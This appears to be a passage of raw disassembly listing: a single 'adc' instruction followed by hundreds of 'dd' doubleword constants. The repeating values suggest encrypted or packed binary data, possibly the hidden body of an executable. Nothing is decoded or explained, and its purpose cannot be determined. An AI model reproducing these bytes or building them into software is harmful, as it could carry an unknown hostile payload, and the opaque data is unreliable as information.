		adc	ax, 2432h
; ---------------------------------------------------------------------------
		db 8Fh
		dd 6622321Bh, 92A5B75Ch, 60E2B529h, 88B1E67h, 0DD44FB80h
		dd 6970AE39h, 66883999h, 0E84B5215h, 66223215h,	7E78D1Ah
		dd 7E2D8F96h, 134435FCh, 239FB11Ch, 6616DB0Fh, 35D82B61h
		dd 77FCF29Eh, 0EF223211h, 8F00CB90h, 0A815BF12h, 9943D9C2h
		dd 0E57A69C6h, 8F0B77A8h, 71FC3212h, 77FC6145h,	0EF223211h
		dd 8F00CB90h, 0DB15BF12h, 9943D9C1h, 67A69C6h, 0E7C7B973h
		dd 0F3806CEh, 76AD536Fh, 0C8223215h, 0A3F6A8D5h, 0CD79E6FEh
		dd 0F7E5F9CEh, 0E551BE64h, 629836F9h, 69E86A31h, 66443290h
		dd 7D8B915h, 71698F96h,	698835E4h, 66444791h, 0E3AFC715h
		dd 61E1A390h, 669CDA75h, 4D103215h, 0B572E2BBh,	38813FBEh
		dd 0DEF46C3Bh, 51C60352h, 0E12DF7B4h, 66113215h, 6681DA4Bh
		dd 8A613215h, 30E40277h, 692BBD52h, 7D6F4AAh, 6CADE2EAh
		dd 0CE223215h, 37D56BE5h, 0B19735E0h, 6655DB43h, 0A31A3215h
		dd 0D29F2913h, 9F9AAC72h, 690F3AA1h, 0EB8FE254h, 96808790h
		dd 0B677CE12h, 0C1C68C75h, 0ED4402C5h, 0E3D753EBh, 6161144Ch
		dd 342CCA43h, 69BE9AADh, 66113C97h, 6681DB15h, 82C3215h
		dd 1448890Dh, 99D42A9Dh, 8F8323A0h, 6648DB12h, 0F04D3215h
		dd 6DC20200h, 340B616h,	0E3C9E224h, 61CEADCEh, 661122FCh
		dd 5DA3DD15h, 0D8A30F5Bh, 25A63E4Bh, 0E2F09F31h, 658CD93h
		dd 0B132F494h, 9F4301E6h, 4D6CB79Ch, 0E28735FCh, 66443214h
		dd 67AE3DE9h, 93113215h, 7A69B7D2h, 664435FCh, 0EC2D3215h
		dd 6611321Dh, 1432C775h, 70D03AFh, 407BB7D3h, 8F5435FCh
		dd 66883218h, 59D7CE33h, 9F99AF62h, 0D2FD6576h,	0FE15AC8h
		dd 624BC67h, 0A1A2FD9Fh, 14A75351h, 0D8EE5274h,	0EC24DC82h
		dd 7FC87CCh, 0FA4CD74h,	9F8FDB33h, 5CF8B798h, 99DB35FCh
		dd 0AC9052C5h, 5795FB4h, 6647BC1Ah, 0D12D3215h,	0E31E53DEh
		dd 66883214h, 5FC1BBEDh, 6925DB20h, 66112B9Fh, 669CDB15h
		dd 0F6223215h, 7391DE4h, 0F6EB0CCDh, 966620B0h,	3F6CC4FAh
		dd 0E3E4E999h, 61F8144Ch, 9C035256h, 664439FCh,	0DF7C315h
		dd 0F9C37C63h, 2470520Ch, 0D1A5A74h, 99D7AE72h,	8F375BA0h
		dd 6A003D12h, 69443215h, 66223496h, 669A3D15h, 0EB883215h
		dd 8F7E8E90h, 75A53D12h, 8F113215h, 6688321Bh, 9517DA2h
		dd 9C797941h, 0ACF34B9Eh, 0B677F9ABh, 6C1BBECh,	9F25C302h
		dd 4048B7D3h, 6DC35FCh,	0B6CFF39Fh, 0E0B5A74h, 0E51EDC77h
		dd 66883202h, 664420FCh, 0E58AAC15h, 56656BD5h,	0E3DF00EDh
		dd 0BDFC82A7h, 9FBE2DD3h, 407887EAh, 0E835FCh, 392BAAh
		dd 72A9CAEh, 6605DA75h,	2A853215h, 670B3191h, 4F2043FAh
		dd 551C4681h, 3D31B8A1h, 691ECFF5h, 6622309Fh, 7705215h
		dd 5C34B798h, 0E72435FCh, 0D3D863E2h, 7DAB914h,	7561E2EAh
		dd 0D4443215h, 91557B5Eh, 2F9E1E27h, 6B5327F6h,	296F31D5h
		dd 0E3AB372Ch, 61E02571h, 6681BA1Ah, 0D0243215h, 64528962h
		dd 670517Eh, 69C6C595h,	6644329Dh, 0E3E45315h, 61F8144Ch
		dd 6A023D50h, 69443215h, 66223498h, 66963D15h, 0E883215h
		dd 0BC240AD7h, 66223CFCh, 66E0E915h, 0B406E3D8h, 0E4B9CCCAh
		dd 65F221Eh, 661ADB75h,	0CBCE3215h, 8D788A2Eh, 0E5F94F8h
		dd 96905494h, 8FE9418Dh, 6644321Ah, 3CD7C005h, 0F2996C77h
		dd 0D59A3A50h, 7DAAD34h, 404B87EAh, 0EA1E35FCh,	6688321Dh
		dd 0E6FECA75h, 76BA2FDh, 5CADB798h, 9E7035FCh, 624E2EAh
		dd 38C295h, 73AA5AFh, 0E0DBB74h, 9343C302h, 7D4B8F96h
		dd 691135FCh, 66893890h, 3F125215h, 0A043FA9Eh,	8F376B90h
		dd 69E87712h, 6644349Ch, 66A43D15h, 0ED113215h,	0ED8753EBh
		dd 66443212h, 6623BB1Ah, 0EE43215h, 9CA84C93h, 0B0CF52E9h
		dd 994386A3h, 8F375BA0h, 0ED875212h, 66443213h,	6622B81Ah
		dd 6EF83215h, 0B8883215h, 8B98EE88h, 77D3454h, 5CADB798h
		dd 0EDE835FCh, 0B6BB53EBh, 0FB995475h, 6B913D3Ch, 8F883215h
		dd 6644321Dh, 2955A35Ah, 9A66BC0h, 0A0DBB74h, 8F43C302h
		dd 66223204h, 700B9C00h, 7F2F8F91h, 13964E0Dh, 800A0F7Ch
		dd 3F94F47Ch, 2A8FDB33h, 6645B31Ah, 0EDE3215h, 8637E2D6h
		dd 66883FFCh, 0F8BB2C15h, 0DAC6182Fh, 1B14B953h, 0D3773BD0h
		dd 61AD147Ch, 0A0F08D75h, 711A0Ah, 9F2F00ABh, 0E3C95374h
		dd 61CB08A9h, 69C1CDE0h, 66883390h, 0E3CDCE15h,	61D32565h
		dd 66113EFCh, 61DACE15h, 9335AAF7h, 0A53B2232h,	6710DB4Dh
		dd 0E83215h, 6FE5E194h,	6622B11Ah, 0A0703215h, 8FAE6B90h
		dd 6246012h, 6622B31Ah,	7ED3215h, 668835FCh, 6E3AC15h
		dd 0B9D24C93h, 821C5A74h, 75618E5Fh, 0A4443215h, 52C8B600h
		dd 0F226AD85h, 0CC9FAB9Fh, 0C8B9003Bh, 99DB3667h, 8F0847A0h
		dd 0E305CA12h, 61AD08A9h, 509A5475h, 7ECB894h, 0E787E2EAh
		dd 6644320Ch, 662226FCh, 20860C15h, 381C9979h, 0A1E04E1Fh
		dd 0F95EA13Eh, 484C4A16h, 0A0DBBF6h, 643C302h, 6622B31Ah
		dd 0C1A23215h, 3F0DF474h, 3443DB33h, 662FDBE9h,	80E3215h
		dd 9163CC30h, 0F136C1D3h, 0E25047Fh, 0C05D785Dh, 133DCDE0h
		dd 8F43DB0Ch, 66223218h, 92B1062Fh, 0F202A30Dh,	6C1772CAh
		dd 0DAA7BF4Ah, 616DB2Fh, 7049B373h, 9799B225h, 0B6DDCA74h
		dd 1694BBEDh, 68FC302h,	0E44BF19Eh, 66223216h, 7F8F495h
		dd 6685BF1Ah, 6EAD3215h, 86223215h, 989C2420h, 0A031CC96h
		dd 8F626B90h, 60CB6012h, 0DC113215h, 0A0AE00B4h, 0D2AE5AE9h
		dd 42CF57h, 696608ADh, 66883196h, 0B7F33D15h, 0F97CD74h
		dd 6916DB33h, 66883397h, 0E3C9CA15h, 61CB08A9h,	661123FCh
		dd 533E1915h, 5B529719h, 5947A46Ah, 2FB7C3FCh, 997173D1h
		dd 0E3CDCBC5h, 61CB296Ch, 6616BA1Ah, 0EC873215h, 66443214h
		dd 0E3E4CBEDh, 61F8144Ch, 6A013D62h, 8F443215h,	66223212h
		dd 0A1FE552Eh, 0EF8DB99h, 95D39AB6h, 66223BFCh,	60984315h
		dd 0EFECF5C2h, 0D3BBC0C6h, 61CB24A0h, 0BE9A6375h, 1C33524Dh
		dd 286D4Fh, 743F09Eh, 5CADB798h, 0E48735FCh, 66443212h
		dd 6623BC1Ah, 99ED3215h, 870252C5h, 3C255247h, 67A33D74h
		dd 9A113215h, 6639B79Ch, 0E62435FCh, 0A6A340E4h, 3EDC3F3Fh
		dd 39305274h, 31F7C7h, 853AF994h, 3F94F474h, 348FDB33h
		dd 66443DFCh, 337F9B15h, 2592AB4Bh, 325A47C0h, 9A8819h
		dd 0BB13257Dh, 661EDB9Fh, 3F23215h, 0BE53DBEh, 0C1512D56h
		dd 0D6227BAAh, 0F3DCDC6h, 6943DB33h, 66223392h,	0E39CC715h
		dd 616108A9h, 301D6475h, 8F4368E0h, 6611321Bh, 180454A6h
		dd 7582A5ABh, 0C925F70Eh, 0B6EEA01Bh, 668838FCh, 0C4888B15h
		dd 813F106Dh, 0EF5A3BCBh, 8F877790h, 6ACA3D12h,	8F223215h
		dd 66113212h, 42813374h, 0A01447D6h, 8F046B90h,	8E716412h
		dd 6688321Fh, 2B9E4B46h, 6D1964F7h, 0BE9A3A9Eh,	16E8A4Ah
		dd 0E25747Ah, 0B23D5F2Ch, 6616DB75h, 9E003215h,	0B7D4B4CFh
		dd 6ACB52CEh, 0CE113215h, 0C6DF1527h, 0DA83EDE4h, 8E1FF8CEh
		dd 66113212h, 0DD104E2Bh, 392173FFh, 0D3DD5374h, 61F83904h
		dd 668EB81Ah, 30243215h, 779614Ah, 0F9CAB798h, 997435F9h
		dd 6656DBC5h, 368F3215h, 319A9AC3h, 92086B71h, 9FBEF2Dh
		dd 82CA33CBh, 6754B79Ch, 0DEE835FCh, 0B11C9Eh, 59FBB373h
		dd 0E3D75396h, 6161144Ch, 1C2CCB52h, 8FA3EE05h,	6611321Fh
		dd 98FCDDCBh, 0D4B21BB1h
		dd 0D3DD59D6h, 61F8147Ch, 66883BFCh, 91A07115h,	0A3AF55ECh
		dd 0E39C5C0Ch, 616108A9h, 6649B71Ah, 6ECB3215h,	0A6113215h
		dd 6C1883Ch, 8FFE951Dh,	6622321Ch, 2C1E3C17h, 6CB571FEh
		dd 8F94CD8Ch, 6622321Bh, 9AC94DCAh, 0EB597848h,	729945EAh
		dd 0E3AB325Bh, 61F83948h, 66883AFCh, 296A4315h,	6FAE5517h
		dd 3F94F4CCh, 218FDB33h, 62C23DE9h, 6223215h, 0E70E59Fh
		dd 0EC8787F7h, 664438FCh, 5E004715h, 62871EDEh,	99B7FD16h
		dd 8F625BA0h, 0E3AFCB12h, 61F808A9h, 668EBE1Ah,	31243215h
		dd 743524Bh, 60F8E2EAh,	6C883215h, 0C7819740h, 0F6A7BB5Eh
		dd 616C302h, 0A103F89Fh, 6FC1F574h, 1E25DB08h, 93113215h
		dd 4F6D8F96h, 694435FCh, 663B0391h, 0E3D7CA15h,	6161144Ch
		dd 0E7225259h, 37E572C5h, 6706DEDh, 0C3B9E7AFh,	664FDA73h
		dd 0C65C3215h, 0B07FCC4Bh, 2730943Bh, 71AC73Eh,	0BC3EDB7Dh
		dd 0D3EECECCh, 6161147Ch, 6645BA1Ah, 0EBDA3215h, 8F2B8E90h
		dd 0B677CA12h, 1AC1BBE9h, 6925C302h, 66111494h,	6B605215h
		dd 88443215h, 7E52D11Bh, 85E42708h, 0D2C31D34h,	664FDA4Eh
		dd 59653215h, 7193630Eh, 0C58D5B78h, 0A0256A8Dh, 8F046B90h
		dd 717E12h, 0EE9E29Eh, 0BB30ECDBh, 6628B41Ah, 63F83215h
		dd 0B5883215h, 0F04D3Eh, 404B87EAh, 8F7135FCh, 6688321Ah
		dd 28457EEDh, 845CDA3Eh, 7AEE9E7Ch, 8FC239F9h, 6644321Ah
		dd 7ADCAEC5h, 0D18A7DA8h, 0BE1C2F04h, 72E01EEh,	5C9EB798h
		dd 7135FCh, 0A709E29Eh,	20DDA467h, 93F2CD74h, 7191B79Ch
		dd 606135E4h, 2443215h,	6658306h, 3F94F473h, 2A8FDB33h
		dd 664438FCh, 3D210215h, 10C31D67h, 0EBFE932h, 0D1C5B02Ah
		dd 6628BB1Ah, 63F83215h, 42883215h, 0E29D8C7Dh,	404B87EAh
		dd 6CF835FCh, 6A883215h, 197924B0h, 8F1D5783h, 0E39CC7E4h
		dd 616108A9h, 0B6F33D75h, 8FF2CD74h, 6611321Fh,	25752B67h
		dd 0E5CC31FAh, 0EFDA67F5h, 9706B690h, 6686DB12h, 20F73215h
		dd 8397C5E5h, 4FA22818h, 4AE000EEh, 401DB7D3h, 8F6E35FCh
		dd 66113205h, 8988F114h, 0ABADA193h, 58EAA5B5h,	0F03E44FFh
		dd 49C82A7Dh, 67C13DA6h, 9F223215h, 407887EAh, 0EB7435FCh
		dd 8F7E8E90h, 6AAB3D12h, 69113215h, 6688349Eh, 66C43D15h
		dd 99223215h, 6618DBC5h, 5BCF3215h, 2F5D5473h, 0EF157110h
		dd 9706B690h, 0E34ECB12h, 61AD144Ch, 6FA13D53h,	6113215h
		dd 0F733ABA3h, 7379B10h, 0B824267Dh, 0D3EECAAFh, 6161147Ch
		dd 6648B91Ah, 61CB3215h, 0BF113215h, 0CE614695h, 0EBB14231h
		dd 8F188E90h, 619B3D12h, 69883215h, 66443392h, 0B6DDCE15h
		dd 48AB5475h, 742B99Dh,	71C8B79Ch, 0A0DA35E4h, 8F376B90h
		dd 74617512h, 2A443215h, 0ED12CFA1h, 6DE47FAAh,	2C64FFE8h
		dd 0A9F024DFh, 76585AF3h, 71B3C9h, 0B93ED894h, 0B1FB3D75h
		dd 662222FCh, 84DC7115h, 0C4EC38C3h, 0C0E6C8F5h, 1D25E3B1h
		dd 997053A7h, 8FAE5BA0h, 6650DB12h, 0A4313215h,	372EEFADh
		dd 0A7A19B6Bh, 0C810966Eh, 0EF5C037Eh, 0E39C0A70h, 616108A9h
		dd 6645B91Ah, 99DE3215h, 67993DC5h, 9A883215h, 665CBB1Ah
		dd 0D2423215h, 661EDB57h, 5F033215h, 80EDD75Ch,	0AF4AC78Dh
		dd 94E42802h, 0E30153FDh, 61B52581h, 662239FCh,	0BD8F5C15h
		dd 0BF070E29h, 0B1D46E6Eh, 407BB7D3h, 9E5635FCh, 0E1069E7Dh
		dd 0D3BBCEFAh, 61CB147Ch, 6610BA1Ah, 0EB743215h, 8F7E8E90h
		dd 6ACA5212h, 27113215h, 0BFA339Dh, 89BCD1C3h, 39D63EBBh
		dd 661135FCh, 46E715h, 0B5FEC964h, 6628DB74h, 3B8D3215h
		dd 5765F3Fh, 0BA003227h, 0E72DE2EAh, 6611320Ch,	668826FCh
		dd 0B6019E15h, 0C6342C34h, 32FE8C93h, 642E9ADEh, 234EA38Dh
		dd 0FEA7BBFBh, 6916C302h, 6688209Bh, 6EAD5215h,	5F223215h
		dd 5891F194h, 0E6801347h, 0A02535CBh, 8F046B90h, 0E41E7512h
		dd 6688320Eh, 6651B61Ah, 76CB3215h, 40113215h, 0BDD8DA68h
		dd 0CE02292Bh, 0C0BA534Eh, 0ED589E7h, 0B21295C7h, 664437FCh
		dd 4B90E215h, 0D3EE24A8h, 6161147Ch, 664420FCh,	0D3A83A15h
		dd 0B31317EFh, 1E025F2Bh, 6DB438EFh, 0EBB0F33Bh, 8F2B8E90h
		dd 0E85212h, 0B3D1AEh, 7D3BF994h, 7C4B874h, 6683DB75h
		dd 0EA703215h, 3B2D25B1h, 2365FEFEh, 6A0C3DBDh,	8F443215h
		dd 66223212h, 84833AD0h, 7A6D0A0h, 0EFB1E2EAh, 9735AE90h
		dd 3DA95212h, 0ED8ED9DFh, 0E38253C6h, 61CB144Ch, 6279C752h
		dd 9F32F32Ch, 402D87EAh, 0EBDA35FCh, 8F2B8E90h,	0B677C712h
		dd 664423FCh, 8FFF5815h, 3A53B7B2h, 0A5C912FCh,	0B689ABD5h
		dd 0E3AB9B6Ch, 61E025B5h, 6335B1E9h, 6643DB31h,	667FB71Ah
		dd 713215h, 9922DC94h, 6644BE1Ah, 0A0433215h, 8F376B90h
		dd 0EA877512h, 66443204h, 6629BB1Ah, 60F83215h,	95883215h
		dd 0CA39B052h, 4B455AA6h, 0E01ED267h, 66883214h, 0FF1CDE9h
		dd 9325DB33h, 5CADB798h, 997135FCh, 664EDBC5h, 48AC3215h
		dd 0EB39885Bh, 2C5D4445h, 71E0B79Ch, 0A0DA35E4h, 8F376B90h
		dd 0E7D7512h, 0E86D81A4h, 662237FCh, 0A6911715h, 0D37730A9h
		dd 61AD147Ch, 662226FCh, 67AF5215h, 4B204ADDh, 89EBDC7Eh
		dd 56C89A6Ah, 648C2ECBh, 0DA0DBF88h, 9E43DB2Fh,	0EFD7E2EAh
		dd 97069A90h, 69E85212h, 6644329Fh, 19F0B315h, 72F41E6h
		dd 66073D46h, 3F443215h, 3FA7F474h, 2516DB33h, 668FB71Ah
		dd 30243215h, 98E1B24Dh, 2CB65A74h, 0EB87F263h,	6644321Dh
		dd 66A53D75h, 7113215h,	40E187EAh, 0ED2435FCh, 387263C2h
		dd 0E39C534Eh, 616108A9h, 39136175h, 0D598544Bh, 0B6EE5332h
		dd 61615275h, 48443215h, 0ECAAF65Fh, 3D439A20h,	77D5274h
		dd 0CAC1BB74h, 9F25C302h, 4048B7D3h, 6C435FCh, 30BD8D1Ah
		dd 0E436CE0h, 9D775EFEh, 0D33DCDE9h, 8F43DB03h,	66223204h
		dd 63883AB7h, 68F7206h,	37573633h, 0EFE8CDFFh, 0DA94BFDCh
		dd 8F8FDB2Fh, 6644321Eh, 2F0579Eh, 77BC26FFh, 99D0538Eh
		dd 96CF52C5h, 662CDB74h, 615E3215h, 0FDF28A0Ch,	11740B25h
		dd 14B15331h, 7E51B79Ch, 0E58735E4h, 6644321Eh,	662234FCh
		dd 7B4D0415h, 0A00C80E4h, 8F626B90h, 0ED77612h,	0DD62BC40h
		dd 66883BFCh, 0A02B2515h, 14717AAEh, 34712322h,	668826FCh
		dd 82145915h, 86C96337h, 0A8EA17B8h, 4DCAE8B9h,	6928D859h
		dd 9943694Dh, 8F375BA0h, 668FDB12h, 0CB113215h,	0F9BC781Dh
		dd 0DA94BF60h, 9E8FDB2Fh, 6CADE2EAh, 42223215h,	0E7FB498Ah
		dd 27F8309Bh, 0D6C1BB26h, 8F25C302h, 66113201h,	999E6568h
		dd 7B773653h, 0BACBA21Bh, 128D147Dh, 52A9F400h,	401DB7D3h
		dd 8F6135FCh, 66113219h, 87A59CABh, 0C5DCE611h,	0DAC4A7E8h
		dd 39E46375h, 8745A74h,	9F248E9Bh, 0F97CD74h, 9E16DB33h
		dd 5C34B798h, 63AD35FCh, 8E223215h, 0E34F9BD8h,	0E887E2EAh
		dd 66443204h, 6625DB75h, 6D473215h, 5CED6B1h, 95FB3D6Fh
		dd 0D2A7BB74h, 8F16C302h, 6688321Eh, 3EF518FCh,	0B41B902Ah
		dd 9E6E6805h, 40D1B7D3h, 61735FCh, 0F7E3B3E0h, 74E2EE9h
		dd 76B6987Dh, 0EA4B52D3h, 66223215h, 7C9851Ah, 40E187EAh
		dd 8F2435FCh, 6622321Ch, 6D3A6D16h, 8B976F0Eh, 7DE8187h
		dd 5C9EB798h, 0E77135FCh, 0B7DD21E3h, 7E08154h,	74CBE2EAh
		dd 56113215h, 4C87DC1Eh, 0E25FD672h, 31A8A035h,	979FFCD8h
		dd 0DE0DBB48h, 9F43C302h
		dd 6E5F8F96h, 691135FCh, 668BF091h, 6AC13D15h, 8F223215h
		dd 66113212h, 0EAE6A6AEh, 0A0B038D3h, 8F046B90h, 0EE97412h
		dd 9C1EFC24h, 0FF1CDEDh, 8F25DB33h, 66113210h, 0CA586846h
		dd 0DAC1BF61h, 8F25DB2Fh, 66113207h, 24C75CBCh,	9CDC27DBh
		dd 6348163Fh, 0AD76E533h, 0B677F028h, 6643B61Ah, 0E42D3215h
		dd 66113214h, 6681DBECh, 50943215h, 7A0E4B38h, 0EF8D599Eh
		dd 97902690h, 0A0255212h, 8F046B90h, 0E31E7412h, 6688321Ah
		dd 664438FCh, 0BCB23B15h, 8DC3903Bh, 0E25A53Eh,	9AE308C3h
		dd 81995475h, 659C3D42h, 69883215h, 9925F3AAh, 8F045BA0h
		dd 661BDB12h, 0E76B3215h, 14FD6150h, 207F1220h,	661FDB75h
		dd 0A6783215h, 0D76A89D9h, 0C1D96E81h, 96731E22h, 2799DB94h
		dd 0EB255487h, 8F188E90h, 0E31E5212h, 66883213h, 6644B91Ah
		dd 69CB3215h, 0FB113215h, 0F324ED05h, 9A04D08Ah, 0CCA3DCF0h
		dd 6970C67Dh, 66883A97h, 64C53D15h, 6223215h, 8FC1CD74h
		dd 66883210h, 976FCF64h, 42A7BBE5h, 8F16C30Dh, 6688321Eh
		dd 6B35F23Eh, 2053597Bh, 0A0BB6A03h, 8FAE6B90h,	6EAD7412h
		dd 28223215h, 123AD850h, 6920F6FFh, 6644269Bh, 68AC3D15h
		dd 8F113215h, 6688321Ch, 0DE8B94DAh, 85F3FAB5h,	0C2115A08h
		dd 9974A0E9h, 8F625BA0h, 6DAE3D12h, 6113215h, 6688B51Ah
		dd 92C43215h, 0EBDB5373h, 8F2B8E90h, 67083D12h,	93443215h
		dd 0EFDBE2EAh, 97091A90h, 668EDB12h, 78B53215h,	0A2CB1AB3h
		dd 4048B7D3h, 69CE35FCh, 66443C95h, 662BDB15h, 365F3215h
		dd 0C6942154h, 934C1419h, 0B26D587Dh, 619A3DE3h, 69883215h
		dd 6644339Ah, 0D3DDCB15h, 61F8147Ch, 66883EFCh,	0B37C0E15h
		dd 5EB9F009h, 2C50FBBFh, 0E305CA98h, 61AD08A9h,	98953D75h
		dd 0F0F7B373h, 0B6775354h, 3F145275h, 4B9453ECh, 0B0905274h
		dd 4CF66923h, 79AB973h,	7E0EB79Ch, 0E01E35E4h, 66883219h
		dd 6642BE1Ah, 0E12D3215h, 66113215h, 40D1B7D3h,	9A0235FCh
		dd 0AB72D57Dh, 6616DB81h, 7CE3215h, 4B9FC788h, 0F97CD59h
		dd 8F16DB33h, 66883218h, 821B84D0h, 6F407586h, 0E63884D2h
		dd 0DA0DBF31h, 9A43DB2Fh, 75CBE2EAh, 0F1113215h, 0C305F5B3h
		dd 0A1B296D8h, 3A2148h,	8C2D9B7Eh, 0E301DEA9h, 61B52A0Dh
		dd 60AF3D75h, 0E7113215h, 0A3CB42D6h, 6650DA18h, 0C5BF3215h
		dd 0BFA56A65h, 0ACBB6977h, 6F66DEF0h, 19F46392h, 74BC15Ch
		dd 40D1B7D3h, 8F0235FCh, 66223218h, 7F359DC8h, 0CEED0BFAh
		dd 5A0F2565h, 12195A99h, 69718337h, 6688309Bh, 8F1F6115h
		dd 66223213h, 9DAF4838h, 6E91EBCh, 3D14B4A7h, 0F97CD74h
		dd 8F16DB33h, 66883212h, 0AB647729h, 0EBFCF0E4h, 8F2B8E90h
		dd 0B677CE12h, 664420FCh, 0D6EFCB15h, 0ACDFFF8h, 0BC094CECh
		dd 424FE410h, 0EF2E46A0h, 97092E90h, 0E5875212h, 66443210h
		dd 7B0795AFh, 0E7775277h, 9EF14BE6h, 0E3825374h, 61CB144Ch
		dd 0E7775253h, 0D7674CFDh, 8B2C5385h, 9FFD4BFFh, 407887EAh
		dd 0E835FCh, 8FA5AEACh,	66223204h, 2BAFC67Bh, 7AEE71EBh
		dd 81F11B90h, 141325B3h, 0E11E5328h, 6688321Bh,	6643DB75h
		dd 0E7CE3215h, 0F859922Dh, 0E3055398h, 61AD08A9h, 662EDB75h
		dd 94673215h, 0DCD339FEh, 0C56B7BA6h, 0DC443D1Fh, 99709702h
		dd 0E301CAC5h, 61B52A35h, 6635B61Ah, 74F83215h,	59883215h
		dd 4FED4C44h, 328649D4h, 182059BBh, 22B0579Ch, 6AC43D41h
		dd 8F223215h, 66113212h, 0A8B52DB8h, 0E5FDA22Bh, 8F0637A8h
		dd 0E31E3212h, 66883284h, 0A025C775h, 8F046B90h, 61F86112h
		dd 0AD883215h, 89D4D69Bh, 6427503h, 661121FDh, 197A9015h
		dd 6DDBC660h, 52A803CAh, 8CE17165h, 41566F3Dh, 31AFB34Ch
		dd 7310568h, 69C2B975h,	7E9E3AAh, 0D8A46C7Dh, 0D3DDCEDBh
		dd 61F8147Ch, 771CA75h,	5CF8B798h, 0EA2D35FCh, 66113202h
		dd 668820FCh, 6D5A0E15h, 0AE840C79h, 0BFD131F2h, 949C13B3h
		dd 99A47524h, 0E3ABCBC5h, 61E025A9h, 6687B61Ah,	6CAD3215h
		dd 0CE223215h, 10932435h, 946F3302h, 3FC1F4E7h,	2125DB33h
		dd 661CDBECh, 0B6A63215h, 135630C5h, 1D264BCh, 0EA7C15Fh
		dd 0A1396C92h, 40FA5475h, 6631DBDEh, 4A4E3215h,	19E9EADFh
		dd 44DA453Fh, 6D7CC506h, 3D7DE439h, 0D3775340h,	61AD147Ch
		dd 66223BFCh, 0CB300315h, 547CB049h, 0E3C97A8Eh, 61CB08A9h
		dd 660CB61Ah, 0E83215h,	6A1FE194h, 662222FDh, 0F579AD15h
		dd 9275229Eh, 0DECC2092h, 4A6DCA56h, 99706A0Fh,	8D0852C5h
		dd 0B6C46008h, 0EF436AACh, 9706F290h, 0E7EE5212h, 9E8422F4h
		dd 0DBA1C774h, 61F81610h, 150D3D15h, 8F443215h,	66223218h
		dd 72930E94h, 0EADBA50h, 241C8CCCh, 3FA7F424h, 2116DB33h
		dd 188D5AECh, 0EB4BD477h, 6622321Bh, 66923D75h,	69883215h
		dd 66443292h, 99DA5315h, 8F375BA0h, 0B8095212h,	2BACD16Ch
		dd 86E388ACh, 0E39C532Bh, 616108A9h, 6645B21Ah,	99DB3215h
		dd 0EE1ECAC5h, 66883214h, 0A2C1BBE0h, 8F25C302h, 6611321Fh
		dd 0F1B06C07h, 0EA906A85h, 0E3E468D1h, 61F8144Ch, 68615256h
		dd 0B6443215h, 642448F0h, 5661992Dh, 0E81619B1h, 0B5CF5414h
		dd 6624DB74h, 0F8C93215h, 264A7908h, 1C4DC47Dh,	662DDB87h
		dd 65563215h, 3A8A3075h, 47FB3DBCh, 0A3093366h,	0FA4CD02h
		dd 8F8FDB33h, 6644321Eh, 0F222D0CAh, 0AF8A0B08h, 0EB853C65h
		dd 8F7E8E90h, 6632DB12h, 12123215h, 211EB337h, 0B6B3975Ah
		dd 0EB9E73D6h, 0B6EE6BA9h, 669EBC1Ah, 77AD3215h, 0A2223215h
		dd 7EDDFD6Fh, 936A60ECh, 471D05DFh, 0F3AE0150h,	71D9B79Ch
		dd 0A07135E4h, 8F626B90h, 6D77112h, 6617BF1Ah, 0E4873215h
		dd 66443215h, 66223BFCh, 2093F415h, 68D9DDF4h, 0E259F09h
		dd 9A03A535h, 0FA4CDECh, 9A8FDB33h, 5CF8B798h, 0E42D35FCh
		dd 66113214h, 9A58CDE9h, 7188B79Ch, 0E5D735E4h,	8F3537A8h
		dd 0E3873212h, 66443356h, 0D12D5275h, 6CF853CFh, 0C0883215h
		dd 0CFE2E380h, 38F42C74h, 0E3D75341h, 6161144Ch, 0E24BC756h
		dd 6622321Ch, 0D9468275h, 3BDD8FD4h, 0CE475A74h, 0EE2DB915h
		dd 66113203h, 668823FCh, 1D8CF815h, 1EAC2588h, 9713DBABh
		dd 0E510861Ch, 0D3BB4A65h, 61CB147Ch, 661138FCh, 50979215h
		dd 4783B8B7h, 0EBBF22FEh, 8F2B8E90h, 669CDB12h,	96053215h
		dd 0BB719B2Dh, 78A6008Dh, 0B1A94939h, 0AEEA41EDh, 0B6DD2AEAh
		dd 0B4A95475h, 6681DB7Ch, 0C1133215h, 9A2DE2C6h, 77737BFh
		dd 66883FFCh, 79499A15h, 0ADAA0948h, 7B5080C9h,	0E301A951h
		dd 61B525C1h, 662BDB75h, 13D23215h, 27A53C45h, 8FEBD453h
		dd 66223219h, 8479BAF7h, 22013DB6h, 0E813D7C2h,	3FA7F474h
		dd 2516DB33h, 6689B21Ah, 0EBD3215h, 837904C0h, 0D3EECBECh
		dd 6161147Ch, 0DAC1BFE0h, 8F25DB2Fh, 66113210h,	0A2E0A846h
		dd 8F94CD23h, 66223219h, 0A2F4401Ch, 214EE1C8h,	594B1BAAh
		dd 71F2B79Ch, 0D57135E4h, 6682DA23h, 1F173215h,	30C07FCFh
		dd 6E9A392Eh, 7D65375h,	6655B81Ah, 6ACB3215h, 0E0113215h
		dd 47C0BB7Eh, 6D46F933h, 0A0C71E85h, 8F376B90h,	6E87112h
		dd 66443EFCh, 424D9715h, 4B9F00CCh, 0C72A25D4h,	0B0C5535Fh
		dd 6315C3C1h, 6618DB74h, 5013215h, 0C8125DB2h, 0E7ED340h
		dd 8CBB00F4h, 6689B71Ah, 69BD3215h, 66223995h, 0D11E5215h
		dd 677BB3D4h, 70C5FACh
		dd 404B87EAh, 7135FCh, 36779EACh, 60AD534Dh, 0CE223215h
		dd 0F2A951D9h, 0DA0DBF20h, 8F43DB2Fh, 66223218h, 0B41B5E62h
		dd 91C1F9D6h, 0B2EA55D1h, 9FF2CD9Fh, 6601DB75h,	49B73215h
		dd 8FED0C6Ch, 23D3349Eh, 0C93C16D6h, 72610C61h,	0CE443215h
		dd 11208D8Fh, 64571713h, 4058C6EDh, 0EC8544E1h,	7307831h
		dd 71C9B79Ch, 0E7E835E4h, 0B405CDC4h, 0F2D2B334h, 779DD69h
		dd 40D1B7D3h, 60735FCh,	0E7F1B973h, 9F9B91D7h, 51E05305h
		dd 9EC0C3B9h, 404B87EAh, 317135FCh, 0F7D2EFACh,	54FB6C39h
		dd 7381A93h, 5CADB798h,	0EC8735FCh, 6644321Dh, 6620BE1Ah
		dd 7713215h, 0EB87E2EAh, 66443214h, 0BAA7BBE0h,	8F16C302h
		dd 66883206h, 1238882Fh, 7D5B4020h, 0E61C29CEh,	0CE207F0Dh
		dd 0A0D1AEE8h, 8F046B90h, 0E7717D12h, 11BA06C2h, 0B22C5311h
		dd 6B50785h, 0FA4CD74h,	698FDB33h, 66443C90h, 88A35215h
		dd 40ED81AAh, 6688B31Ah, 0EB253215h, 8F188E90h,	0ED775212h
